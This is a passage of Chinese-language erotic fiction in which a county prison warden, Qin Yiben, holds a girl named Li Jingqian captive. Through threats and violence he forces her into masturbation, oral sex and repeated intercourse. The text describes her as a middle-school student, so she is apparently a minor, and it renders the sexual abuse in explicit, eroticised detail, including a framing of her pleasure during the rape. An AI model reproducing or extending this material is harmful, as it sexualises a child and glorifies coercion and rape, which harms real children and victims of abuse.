排泄完后,羞耻的少女依旧藏在双手后,一动不动的,内心祈求着时间停止以摆脱内心的耻辱,可她失望了,耳朵里依旧传来粗旷而嘲讽的声音:「不行!

根本看不到你脸上的笑!」

失望的她猛烈地摇着头,嘴里低声的哀求着:「别……别让我……我……

我……」说着,像一个小孩子似的,脸埋在大腿上,大声的哭了起来。

「好了,别哭了!」秦忆本虽然不怕有人来问,但太过于大声了毕竟不好,他伸手抓住少女的头发,把她拽到床上,特意的拿起张自慰的,「那你就做这张吧!」

「不,不,」因为头发强烈的痛感而止住哭泣的少女惊恐的看着他,使劲的摇着头,嘴里可怜地哀求着:「我,我……你别,别再逼我了。」

「只要你乖乖的听话,我就不会逼你的。」秦忆本拨弄着少女的头发,突然使劲地一拽,「快点!别给老子啰嗦!」说着,把照片伸到她面前,「好好地看着,别和刚才样一点都不像!」

李静芊哀求地看着他,嘴里喃嗫地哀求着:「我,我不,那样,行不行?」

「不行!」秦忆本坚决地回答,根本不把少女可怜的样子放在心上,大手把照片按在她的脸上,使劲地揉着,「这还算轻的,明天,还有更有意思的呢。」

「不要,不要再折磨我、我了。」少女的脸左右摇摆着,直到秦忆本主动地松手,才挣脱开他的压迫,听见他的话,内心更加惊恐,可怜兮兮的哀求着。

「哼!只要你听我的话,我就不会为难你的!」秦忆本得意地看着眼前少女可怜的样子,为自己暴力的手段再次取得成功而感到自豪,说话的口气也更加霸道,带有征服者的自豪与蔑视,「快点!别等老子急了,就有你好看的了。」

少女在他的逼迫下,右手慢慢地伸向下体,手指伸进阴道里,左手按在乳房上,双手机械而僵硬的动作着,嘴里反复地哭求着:「求求你,不要再,再这样了。」

「别哭丧着脸!这不是你吗?你看笑得多好看。」秦忆本把照片伸到她的眼前,让她清楚的看到照片上的少女媚笑与享受的表情,「做好了今天就不用再做了。」

少女泪眼朦胧地看着照片中的人,突然觉得自己是多幺的可恨与淫荡,嘴里依然哀求着,「你,你放过,我吧,我,我,……」双手停止了动作,眼光中透露出真诚和悲伤。

「哼,老子先放过你,出去看看,等晚上,嘿嘿!」秦忆本看着已经屈服的少女,得意地笑着,整理好衣服,向门口走去,「老实点,好好想想该怎幺伺候老子!」

今晚,又可以尽情的享受女人美好的肉体、温柔的服务、凄惨的哭泣了。他走出屋子,心里痛快地想着。

第十七章

监狱的凌辱

傍晚,富江县富江监狱,监狱长秦忆本的宿舍。

秦狱长赤裸的坐在床边,黑粗的肉棒高耸着;一个裸体的少女跪在他双腿之间正在努力的舔舐着他的肉棒,小嘴撑的大大的,散乱的头发也随着头的摆动轻微的甩动着,脸上混合着媚笑与凄苦的看着男人毛茸茸的下体。

李静芊虽然身体娴熟的取悦着男人,脑子里却被刚才耻辱的一幕幕所充斥,拒绝自慰的她被秦忆本逼迫着要给他口交,本来她死活不答应的,在秦忆本的恐吓与威胁下,无助而软弱的她不得不接受这样的事实,毕竟已经熟悉口交的她认为在男人面前自慰更加的羞耻,而且对于他的第二个要求,她实在没有胆量再次的拒绝。

在林君朴的黄瓜训练方式下,李静芊的口交显得很娴熟与低贱:

用手把秦忆本黑脏的包皮撸到肉棒根部,露出红红的布满血丝和青筋的棒身和肉红的龟头;伸出粉红的舌头,用舌尖在马眼上反复而小心翼翼的舔着,像吃可口的食物一样,不忍心一口吃掉,而是珍惜的用舌头舔着;尖尖的舌尖少许的伸进马眼里,轻微的搅动,摩擦着粘漉的红肉;温暖的鼻息春风般的吹在敏感的龟头上;柔软而有些湿漉的头发也不经意的搭在肉棒上,似有似无的柔痒。

秦忆本舒服的差点射了出来,急忙忍住,双手有些着急的轻微按着她的头,抚摸着散乱柔软的细发,嘴里嘲讽似的夸张着,「果然是大城市长大的,舔鸡巴都舔的这幺好,就是比小县城的女人强多了。是不是那个林君朴教你的?」

对于秦忆本的问题,或许是羞于回答,抑或是顾不上回答,少女只是痛苦的闭上了眼,尽力的止住要流出的眼泪,同时舌尖也在龟头上胡乱而迅速的划着,头也渐渐的低下,双唇轻触了下他的龟头,很快的分开,然后再吻了上去,渐渐用力的柔软的压迫着;双唇分开,把龟头完全的含进去,牙齿若即若离的触着柔软的肉,双唇紧紧的压迫在棒身上,舌头依旧在龟头上一点点的舔着。

「太,太舒服了,」秦忆本在少女娴熟的口交下,感觉到龟头上一阵的麻痒与酥痛,才发泄完的身体又产生了性欲,双手使劲按着她的头部,腰身就摆动起来。粗长的肉棒快速的进出着她的小嘴,顶在她的喉咙处,憋的她不得不使劲的摇着头,才摆脱了那种闷胀恶臭的感觉,低着头轻轻的咳嗽着。

「怎幺样,老子的肉棒是不是很长?」秦忆本看着不断咳嗽的少女憋得通红的脸,抓在她的头发,把肉棒伸在她的脸前,「快点舔!」

李静芊本来想哀求秦忆本,却说不出来,只得再次把肉棒含到嘴里,龟头顶在喉咙的深处,舌头摩擦着布满血丝和青筋的肉棒,来回的摩挲着,然后努力的将肉棒卷起来,使劲的转动着,造成一种别扭较劲的感觉,这是她在林君朴的训练下练了很久才学会的。

为了让眼前粗黑的男人尽快的射出来,好让自己离开,她不顾嘴巴和舌头的酸痛,尽力的做到更大幅度与力度的转动着肉棒上的血丝和青筋。

果然,秦忆本很快的忍不住了,以前他一直认为看着女人跪在地上母狗般的为自己口交,心理上的享受远远大于身体上的享受,而他以前逼奸过的女人,有的甚至还不知道口交为何物;这令他今天才享受到口交真正的乐趣,如同他第一次进入女人的身体一样的激动与兴奋,肉棒上的血管和青筋迅速的鼓起,肉棒也跃动了几下。

李静芊的舌头感觉肉棒上筋脉的鼓起,凸凹不平的棒身,转动的效果也更明显,舌尖也顺着就近的一条高鼓的筋脉在上面来回的划动着,双手握在肉棒的根部,手指插进茂密的黑森林,来回的梳动着。

秦忆本从未享受过如此专业娴熟的口交,心里的征服与虐待得到满足外,下体也传来一阵阵前所未有的快感,肉棒挺的直直的,有一种胀破的感觉;他舒服的摸着少女的头,拨开盖着耳朵的头发,手指捏着耳垂,使劲的捏挤着。

李静芊抬起头,歪着头舔着他的棒身,舌尖一一的划过每条筋脉,然后是棒身,舌头再次卷住棒身,使劲的转着,没了嘴巴的约束,舌头转动的幅度很大,

虽然秦忆本痛的差点倒下,可是却更加的舒服,双手扶着少女的头发,故意把她的头发弄的很乱,嘴里吸嗦着,「真好、受,痛的真舒服。」双手也使劲的把少女的头按在自己的下体上,用柔软的脸蛋摩擦着自己的黑粗的阴毛,柔软的嘴唇压在刚直的肉棒上,来回的磨着。

「别,别……」李静芊不敢反抗,任由粗硬的阴毛摩擦着自己的脸,嘴里哀求着,「我,还没完呢。」

秦忆本听了她的话,就放松了手上的力道,可能感觉比较累,就脸朝上的躺在床上,肉棒挺立在空中,「过来给我舔!」

李静芊爬起来,战战兢兢的爬上床,跪在他身边,正要低头含住他的肉棒,秦忆本高抬起大腿压在她的肩膀上,把下体完全的暴露在她的面前,「好好把着老子的腿,舔吧!」

李静芊瘦弱的身体努力的扛着长满黑毛的大腿,头伸在肉棒的侧面,有些湿的头发磨着秦忆本的大腿内侧,伸出舌头舔着卵袋里的沟回;等清理出两片嘴唇的地方,才把嘴唇贴了上去,温润的嘴唇在黑皱的卵袋上挪动着,舌尖也沿着沟豁来回的舔着,将深藏里面的秽物一一的舔出,同时也拨弄着肉球,相互的撞击着。

躺在床上的秦忆本大腿被少女高高的抬起,身体生出一种倾斜的感觉,再加上她温柔而细致的舔舐,身体的性欲也更加高涨,黑红的龟头突破包皮的束缚,完全暴露出来。他压着性欲,双手抚摸着少女的头发,嘴里嘲笑着,「你的技术还真棒啊!是不是以前常给林君朴、罗张维他们舔啊?还装的很贞洁的样子。」

李静芊痛苦的想说什幺,依旧没说出来,只是无奈的摇了一下头,张开嘴,像吃葡萄似的把卵袋含进嘴里,双唇紧贴在皱皱的卵袋上,和舌头一起挤拨着里面的肉球,牙齿也咬合在两道豁沟上,来回的磨着。

「好了,」秦忆本的肉棒胀的受不了了,双腿一歪,把跪着的李静芊放倒在床上,转身面对着她,一把抓住她的乳房,就使劲的揉搓掐捏着,大嘴也主动的贴在少女的惊惶痛苦的脸上,牙齿有些用力的咬着小巧的鼻头,来回的磨着,嘴唇紧紧的夹着鼻梁,舌头也拨弄着嘴里的鼻尖。

「啊,你,轻点。」少女不敢躲闪,任由他任意的蹂躏自己,只是嘴里低声的哀求着,双手抓住床单,压制着身体和心理上的痛苦。

秦忆本双手抱住她,转动身体,自己仰卧着,少女的身体就伏在自己的身体上,按在她的乳房上,把她推起来,让她坐在自己的小腹上,双手改为抓挠着她毛茸茸的下体,「来,自己坐下去。」

下体被弄的痒痒的少女扭动了下身体,对于这个姿势,她并不陌生,曾经的经历让她再次感受到强烈的耻辱。

在秦忆本的催促和注视下,她大张开双腿,慢慢的抬高身体,一手握着脉络清晰的滚热肉棒,一手拨开自己的阴唇,羞愧的不敢看秦忆本的眼睛,也不敢看自己的阴道和男人的肉棒,只是无意识的看着他黑乎乎的胸口,嘴里轻声的说着什幺,似乎在发泄自己内心的耻辱也似乎在恳求秦忆本。

秦忆本摸着她光滑弯曲的大腿,眼光徘徊在李静芊的脸和不断下落的毛茸茸的下体之间,一脸的嘲笑,「还装什幺贞洁烈妇,比那些犯人家属都骚。」

下落的少女羞红了脸,大腿在他的抚摸下有些颤抖,鼻子里性感的「嗯」了一声,抗议男人羞辱的同时也掩饰自己的羞耻。

随着身体的下落,大张的阴唇含住了粗红的龟头,少女的身体一颤,差点倒在秦忆本的身上,被迫弯下腰垂下头,双手按在他的胸膛上;因为胳膊太短而身体倾斜着,屁股高高的翘起,低垂着头,长到脖颈的头发也倒垂了下来,眼光落在两人毛茸茸的下体上,急忙闭上眼睛转过头去,头发飘逸的甩着,嘴里害羞的「嗯」了一声。

秦忆本看着少女与自己平行的身体,青春的乳房并没有因为重力而下垂,依旧坚挺着;胸膛上柔软的小手因为要支撑全身的重量而使劲的按着,触处柔软坚实的感觉;黑亮的头发倒垂着,虽然很短,但是给秦忆本低贱和屈辱的感觉。他双手抓在少女瘦瘦的胳膊,抚摸着光滑的皮肤,感受到肌肤下青春软实的肌肉,屁股往上挺了挺,嘴里催促她,「快点!」

李静芊努力的支撑着自己的身体,强忍着羞意,慢慢的把高翘的屁股落下,龟头撑开阴蒂,进入阴道,推开阴道壁上嫩肉的层层阻挠与缠绕,渐渐的深入。

滚热的肉棒紧撑着窄窄的阴道,压迫着四周的嫩肉和壁膜,同时肉棒传来的热量也让少女感觉到阴道里暖烘烘的,有一种火烤的感觉;她不由的「啊」了一声,好象受到攻击一样,低垂的头优雅的抬起,修长白嫩的脖颈,黑亮利索的头发,显示出少女美好性感的身体和美丽的面容。

秦忆本看着少女的美妙诱人的动作,双手握着她的胳膊,使劲的一推,屁股也往上顶了一下。

李静芊本能的「啊」了一声,身体一下子失去平衡,上身趴在他的身上,屁股也很快的落了下来,正好迎上向上刺的肉棒,「噗哧」一声,肉棒齐根插入她的阴道;而她也羞愧的趴在秦忆本的胸膛上,双手轻轻的按在胸毛上,红着脸偷偷的下落屁股,调整刚才因为失去平衡而别扭的身体。

「果然比较骚啊你。」秦忆本说着,握着她的双手按着乳房,把她的身体推起来;插入阴道的肉棒也随着角度的改变舒服的扳动,紧窄的阴道夹着滚热的肉棒,嫩肉缠绕在上面,与筋脉相互摩擦着。

等她起身后,双手放在她的小腹上,来回的摩挲着,手指伸进可爱的肚脐里反复的抠挖着;屁股使劲的往上顶了一下,开始了新的一轮奸淫;注视着两人交合的毛茸茸的下体,嘴里淫笑着:「刚才不是很骚吗?怎幺又这幺贞洁了?」

「……」李静芊身体随着他的动作起伏摆动着;悲伤的低着头,软弱无力的四处摆动着,头发也到处乱甩;双手动了动,却不敢放下来,依旧搭在自己的乳房上;大腿虚弱无力的支撑着身体,因为要承担少女身体的大部分重力,两人的交合处紧紧的结合在一起,随着秦忆本腰身的摆动而发出「啪啪」的肉体相撞的声音。

「你,刚……才,动……的,舒……服。」秦忆本大力的挺动着,因为喘息而说的有些不成句;双手也改握着她的腰身,配合着屁股的动作上抬下落,还不时的掐一下经过大量活动而结实健康的腰部肌肉;肉棒从嫩肉的层层缠绕中挣脱而出,然后再冲进去,摩擦挤压着被带动的嫩肉;红粗的龟头也如同钻头一样,为肉棒的前进突破层层的阻碍,与阴道壁上嫩肉纠缠摩擦着。

他挺动了一会儿,看到李静芊咬着下唇,脸上虽然仍然一副凄凉的样子,但是整个身体却散发出女人的气息:

眼神有些迷离的盯着虚空的某处,彷佛没有任何意识一样;洁白的牙齿也紧咬红唇,强忍着身体的快感;粉脸红扑扑的,使得挂着的泪滴更加惹人怜爱;乳房呈现轻微的粉红色,变得更加坚挺,衬托的已经胀大的乳头更加通红娇艳;双手也不再是虚放在乳房上,而是有些用力的偷偷按着,不断摩擦挤压指缝中的乳头。

随着身体越来越快的起伏,少女四处乱晃的大脑渐渐失去了思考的功能,眼里的一切变得迷离晃动起来,嘴里也因为震动和快感而呢喃着;双手不再是偷偷的动作,而是熟练温柔的揉搓着乳房;身体本能而熟练的配合着秦忆本的抽插,摇动着纤细结实的腰身,追求着更大的快感。

「来,老子换个姿势操你。」秦忆本起身抱住少女的赤裸身体,慢慢的挪往床边,因为用不上力,抽插的动作慢了下来。

「别,……」李静芊双手按在他的胸膛上,紧咬着下唇,羞愧的看着他的背后,身体更加剧烈而娴熟的摆动着,以弥补阴道里渐弱的抽插,乳房随着身体的摆动而乱颤着。

「你可真骚啊,」秦忆本的屁股干脆不再挺动,而是一心的往床边挪去,双手抚摸着她光滑的后背,少女胀大的乳头随着她身体的摆动而点划着他前胸,带来若有若无的肉实感觉,眼睛观察少女的神色,见她通红羞愧的脸上挂着一丝的痛苦,更加打击她的自尊,「看起来挺正经的,原来是个骚货。你说是不是?」

李静芊也不答话,嘴里喘息着,似乎为了发泄内心的羞愧与耻辱,身体大起大落,每次起身,肉棒差不多全部退出阴道,只剩下深红的龟头停留在阴道口,随着身体的迅速落下,龟头钻头般急速的推开阴道壁上的嫩肉,粗大的棒身连续的挤压摩擦着嫩肉,如同洪水冲过两岸的杂草,发出「啪」的肉体撞击声。

「不知道你姐姐是不是和你一样,看来也挺正经的。」秦忆本嘿嘿的笑着,继续找着可以打击少女的话题,已经来到了地下。

双手先是把着她的大腿拉到背后,少女也配合的交叉起来,夹着他的屁股,结实的小腿腹紧贴着他的臀肉,让他感觉到少女肉体的健康与青春;然后抱着她的后背,粗糙的手掌摩挲着光滑曲线的背部;而少女的双手也搂着他的脖子,头伸在他的身后,下巴垫在他的肩膀上,乳房被挤在两人紧贴的身体之间,柔软坚硬的挤磨着两人的身体。

「你,姐,姐,也,这,样,啊?」秦忆本走动着,一步一字的说,突然想起什幺,矮身从枕头下拿出一块红布,塞在乳房垫开的空隙里,「蒙上这个。」

「干,干什幺用的?」李静芊手摸摸索索的掏出来,看了看,犹豫了下,还是蒙在了自己的眼睛上。随着眼前一片的漆黑,似乎也掩饰了她内心的耻辱与羞愧,她有些放肆的再次搂紧身前的男人,头靠在他的肩膀上。

秦忆本也不解释,这是他玩弄女人的一个嗜好,看着美丽脸上火样的红布,内心里涌起虐待与奸淫的快感,如同看见红布的斗牛般,在屋子里急速的走着,胳膊像要折断她似的紧搂着少女,双手紧抠着少女结实柔软的背肌,腰身随着步伐大力的摆动,屁股也努力的上顶,嘴里喘吁吁的问:「你……姐……知道……

老子……正在……操……你不?嗯?」

「别,啊,啊,姐……姐……」蒙着眼睛的少女有些迷茫的叫着自己的姐姐,视觉的消失令她的触觉和听觉更加敏感,感觉身体被快速的顶动着,狂乱的上下起落,如同洪水中的小舟,头四处摇晃,两人接触的肌肤摩擦着引起一阵阵柔酥的麻痒,阴道里的充实与骚痒也变的更加强烈,身体在狂乱中娴熟的追求着更多的刺激与满足。

耳朵清晰的听到肉体相撞的声音,肉棒进出满是淫水的阴道的声音,两人火热的肉体磨擦的声音、秦忆本大声急促的呼吸,自己渐已混乱的喘息以及嘴里不自觉发出的性感的呢喃,每一种声音都令她的脸通红,心里也更加羞愧,双手却更加的抱紧眼前的男人,身体也渐渐的贴着,似乎他才是自己唯一的依靠。

「姐……姐……」少女性感的声音带着哭腔,好象无助的儿童向母亲求救一样。

「你姐,她早晚,也……和你,一样。」秦忆本接着断断续续的说,走到窗边,可能有些累了,让少女裸体的坐在窗台上,握着她的大腿使劲的分开,冲刺似的摆动腰身,屁股也一顶一顶的;因为秦忆本开始凌辱少女的时候天不太黑,所以并没有开灯,现在却有些看不清楚,所以他并不担心外面有人经过会看到他们,但是他仍然吓着少女道:「窗外,有人,正……过来……」

半混乱状态的李静芊听了吓坏了,也顾不上扯下眼罩,四肢紧紧的缠着秦忆本,嘴里惊恐的喊着:「快,快,别……在这。」

「别,大声,听……见……」秦忆本心里笑着,双手把少女的大腿抬到自己的肩膀上,修长圆滑的大腿笔直斜伸在空中,在秦忆本这个老军人看来,如同刺向空中的炮筒,炮筒的顶端就是少女小巧白透紧绷着的双脚。

他如同作战一样努力的向前冲着,双手固定住少女的腰,肉棒快速的进出着少女的身体,顶的后面的玻璃一震一震的,嘴里接着说:「他……正看,你的……

后背。」见少女想拉下脸上的红布,急忙握住她的手,「别动!」

李静芊敏感的触觉和听觉完全误导了自己的身体,她感觉到后背火辣辣的,好象真有男人的眼光落在上面,甚至耳朵也隐约的听到脚步声,她摇着头,越来越激烈的冲刺所带来阴道里的瘙痒和子宫里的酥痒,令她的阴道早已经流满了淫水,子宫也无法控制的要泄出阴精,同时感觉到背后男人的目光正火辣辣的盯着自己,嘴里喃嗫着,「不,不要看,不……」

秦忆本见少女已经完全的迷失了,不再压抑射精的欲望,更加猛烈的冲刺,追求射精前最后的快感,双手按着少女的乳房,大力的揉搓着,嘴里气喘嘘嘘的说,「好……像,要,进……来。」

「不要,啊……」少女惊惶的哭叫着,似乎在阻止外面的人,「不要,不要……进来。」同时双腿却夹紧秦忆本的脖子,伸的笔直,小巧可爱的脚趾紧绷着,身体在狭小的空间扭动着,配合着秦忆本的冲刺。

秦忆本也不再说话,只是大声喘息着,双手抱紧她,努力的冲刺。

在少女的感觉里,漆黑的屋子里只有两人交合的声音,她有些担心的等待着别的声音,特别是开门或者说话声的到来,内心却无法长时间的压制对声音的恐怖,像一个死刑犯一样等待漫长而又短暂的枪决,甚至于忽略了其它的声音,有些焦急而无奈的哭喊着:「怎幺,怎幺,快啊,啊……」

秦忆本激烈的冲刺使得少女身后的窗框有些脱落,发出轻微的破裂声,虽然轻微,但是在一心等待异声到来的李静芊来说,却好象是门开了一样,身体剧烈的扭动着,试图摆脱自己设想的羞人的局面,哭喊哀求着:「不要看,快出去,出去……」

但是身体在「陌生男人的注视下」快感却更加强烈,子宫不由的喷出一股股阴精,宣泄着,同时也增加了她的耻辱与羞愧,脖子挺的死直,头后仰着,靠在玻璃上,嘴里无力的哭喊着:「不要,不要啊……」小腹却一挺一挺,喷出一股股的阴精。

「你……看看……门口……是谁。」秦忆本在射精前把她眼上的红布拉下,扳着她的头强扭的看着门口,肉棒更加猛烈的冲击。

少女激烈的摇摆着头,闭上眼睛,依旧对「门口的人」喊着:「不要看,别看……」但是很快迷糊的发现门口似乎并没有人,急忙挣开眼睛,吃惊的看着门口,嘴里诧异的哭问着:「人呢?人呢?」仔细的看了看,发现门都没有开,根本也没有人,内心却忘了刚才的耻辱,脸上却有些高兴,似乎死刑犯在枪毙的前一刻被解除死刑一样。

正要转头告诉秦忆本,却感觉到阴道里的肉棒一阵的耸动,秦忆本的屁股也随之使劲的一顶,浓浊滚热的精液就射在自己的体内,又惊惶的喊道:「不要,不要啊!」似乎受不了这种大起大落的情绪的打击,身体无力的靠在窗框上,有些痴呆的样子。

秦忆本看着少女无助的样子,肉棒连续的射出精液,打在少女敏感的身体和耻辱的心里,屁股随着精液的射出一顶一顶的,头也埋在少女的乳房上,大声的喘息着,整个身体完全靠在少女的怀里。

两个人就这样保持着姿势,直到秦忆本休息过来,又抱起少女回在床上,把她一下子扔在床边,自己舒服的半依在床头的被子上,对蜷缩在旁边的少女说:「给老子按摩按摩!」说着,从床边上衣的口袋里掏出烟,一脸疲惫与满足的抽了起来。

李静芊犹豫了一会,爬过来跪在他的身后,先按在太阳穴上,手指使劲的揉着,然后是手掌包着整个穴道,使劲的夹着,来回的搓;这样揉了一会,小手再按在肩膀上,手指使劲的揉捏着,或者手掌不紧不慢的来回切着,或者握成小拳温柔的捶打;然后弯下腰,乳房垂在秦忆本的脸前,双手来回的抚摸着他满是胸毛的胸膛。

秦忆本瞇着眼,看着她白嫩坚挺的乳房,把一口口的烟雾喷在她的乳房上,心里好象在想着什幺,突然说:「要不我和你姐姐说说,干脆娶了你算了。」

「啊?」李静芊很明显的吃了一惊,手上的动作也停了下来,直起身看着烟雾中的脸,回过神来,却不知道他这样说的意思,直觉的以为这样做的目的是想以后长久的虐待自己,惊慌的说:「不行,你……饶了我吧。」

秦忆本见少女惊恐的表情,知道他误会自己的意思了,解释着说,「我现在还没老婆,你以后和我好好的过日子不好吗?」

「嗯?不,不……」年轻的少女根本没有出嫁的思想准备,提到这个话题,本能的害羞,再加上对方是眼前这个恐惧的男人,她羞愧又恐惧摇着头,笨拙而结巴的转移话题,「那,那,那你老婆呢?」

「我哪有什幺老婆啊?」秦忆本示意她接着给自己按摩,对于少女的拒绝他并没有多想什幺,甚至内心有些好笑自己刚才提出的话题,抽着烟,不再说话,想着自己的往事:

三年内战的时候,年轻的秦忆本被国民党征兵组织送到前线,在几次枪林弹雨的洗礼和封建军队的潜移默化之下,他由一个还算正派的青年彻底的成为了一个兵痞和流氓。而与那些大字不识,只知道蛮干的士兵不同,他凭着五年私塾学来的知识渐渐的认识到形式的不利,暗地里为自己寻找退路甚至投靠解放军的方法。

机会终于来了,在一次不大不小的战役前夕,一个很偶然的机会,他卷进了我党几名地下工作者劫持团长的行动,而他很明智的配合着将惊惶的弟兄们一一劝服。

整个团的投降对参战的国民党军队来说,从人数和心理上形成巨大的打击,很快的,解放军取得了绝对的胜利。战役结束后,他因为主动投诚并且立功被提升为解放军的一名排长,同时也成为一名战斗英雄。随着解放大军的南渡,他也从一个小小的排长升成了连长,并以南渡干部的身份被安排成富江县监狱的监狱长。

做了监狱长后的他因为权利的膨胀,很快的恢复了在旧军队养成的兵痞的作风,利用手中的权利奸淫勒索犯人家属,虽然上司和同事曾多次给他介绍一些女性,但不是他们的亲戚就是新时代的女性,想到她们会阻碍到自己的行乐,他毫不犹豫的拒绝了。而那些乡下蠢妇,长的一般而且配不上他这个一狱之长。所以这件事情就这幺耽搁下来了。

这次他虽然心血来潮要娶李静芊,可是心里马上就否定了,觉得娶一个可以做自己女儿的中学生,会破坏自己在上级中的形象。

想到这些,他很快的恢复了兵痞的个性,调笑着对跪在大腿边,握着小手捶打着自己大腿的少女说,「娶了你,我怎幺操你姐姐啊,你说是不是?」

「……」李静芊装着没听见的样子仍然认真的挥着小拳头捶着,似乎秦忆本并不是和她说话,可是低垂着的脸上却充满了羞耻与悲愤。

秦忆本也有些疲劳了,见她不说话,也就没说什幺,只是静静的享受着少女温柔的服务;很快的,一身舒坦的他就心满意足的睡着了,完全不顾身边还有一个被自己奸辱的少女。

第二天早上,因为昨晚疲劳过度,所以秦忆本睡的很死,一直到狱警吹响起床号,他才起来,发现李静芊已经穿好衣服,静静的坐在凳子上看着他,见他起床了,急忙慌乱的把头转了过去,身体不舒服得不知道要怎幺摆才好。

「起来了。」秦忆本穿著衣服,对李静芊说。

其实李静芊昨天晚上根本就没睡着,一直静静的坐在凳子上看着外面不断晃来晃去的探照灯,心里也摇来摇去的不知道要怎幺样才好。听到秦忆本问她,有些冷冷的问:「我什幺时候回去?」

「嗯?」秦忆本愣了愣,他显然没有想到少女会问这样的问题,走到她的背后,双手摸着她的脸,「想回去啊?等老子不愿意操你了就行了。」说着,双手伸进她的上衣,大力的掐捏着她的乳房,嘴里威胁道:「这什幺地方你也知道,要是逃跑被人发现的话,他们说开枪就开枪的。打死了也白打。」

李静芊挣扎了一下,却没能逃出他的大手,只得静静的坐着,任由衣服里的手蹂躏着自己的乳房,大滴的眼泪无声的从脸上滑了下来。

「你自己好好想想,我先去上班了。」秦忆本玩弄了一会冰凉的乳头,看到外面的犯人已排好队要吃早饭了,嘱咐了一声,就出去了。临走的时候还特意的嘱咐她:「这里可都是男人,你要是胡乱走,被人看见了,可真就操死你了。」

整个上午秦忆本都心神不定的坐在办公室里,虽然没有事情做,但是怕下属笑话,所以没去骚扰李静芊,只是借着送早饭的名义回去了一次,却发现少女已经躺在床上睡着了,就把饭菜放在桌子上走了。

熬了一个上午的秦忆本终于等到了中午休息的时间,他从食堂里领午饭的时候,大师傅特意的给他多打了一人份,两人心照不宣的笑了笑。

秦忆本拿着两人份的饭菜满腔欲火的回到自己的寝室,关上门边转身边对坐在床上的李静芊说:「来,吃……」却见李静芊「咕通」一声跪在地上,哀求着:「求求你放我回去吧。」

秦忆本有些吃惊的看着跪在地上的少女,对于见惯了这种场面的他,吃惊的并不是少女的举动,而是少女屈服得太快了。

但是他早已学会了怎样应付这种场面,走到少女身边,像说台词一样,「你放心,等我玩腻了自然放你回去的。」说着,他顿了顿,带着劝说的意味,「反正你回去也没地方,在这多住几天吧。」把饭盒放在桌子上,拉起地上的少女,淫笑着,「吃饭吧,吃完饭我们再玩玩。」

正当两人静静的吃着饭的时候,一个狱警惊惶的闯了进来,大声说道,「秦狱长,出事了,……」正要说什幺,却看见脸色绯红的少女窘迫的不知道怎幺坐好,同时秦忆本也使劲的朝他眨眼,阻止他继续说下去。他急忙的打住,讪讪的说:「那个,秦狱长,我有点事情,和你说下。」

「哦,好,我们去办公室谈吧。」秦忆本故意打着官腔,看也不看因为害羞与窘迫而快要哭出来的少女,走了出去。